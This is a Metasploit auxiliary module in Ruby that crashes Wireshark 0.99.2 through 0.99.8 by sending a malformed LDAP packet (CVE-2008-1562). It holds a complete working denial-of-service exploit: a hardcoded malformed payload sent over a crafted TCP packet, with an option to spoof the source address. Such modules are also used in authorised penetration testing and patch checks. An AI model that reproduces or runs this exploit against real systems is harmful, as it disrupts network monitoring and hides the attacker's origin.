metasploit-framework/modules/auxiliary/dos/wireshark/ldap.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Capture
include Msf::Auxiliary::Dos
def initialize
super(
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'Name' => 'Wireshark LDAP Dissector DOS',
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'Description' => %q{
The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers
to cause a denial of service (application crash) via a malformed packet.
},
'Author' => ['MC'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-1562' ],
[ 'OSVDB', '43840' ],
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],
'DisclosureDate' => 'Mar 28 2008')
register_options([
OptInt.new('RPORT', [true, 'The destination port', 389]),
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
], self.class)
deregister_options('FILTER','PCAPFILE')
end
def run
open_pcap
print_status("Sending malformed LDAP packet to #{rhost}")
m = Rex::Text.rand_text_alpha_lower(3)
p = PacketFu::TCPPacket.new
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
p.ip_daddr = rhost
p.tcp_ack = rand(0x100000000)
p.tcp_flags.syn = 1
p.tcp_flags.ack = 1
p.tcp_dport = datastore['RPORT'].to_i
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p.tcp_win = 3072
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p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
p.recalc
capture_sendto(p, rhost)
close_pcap
end
end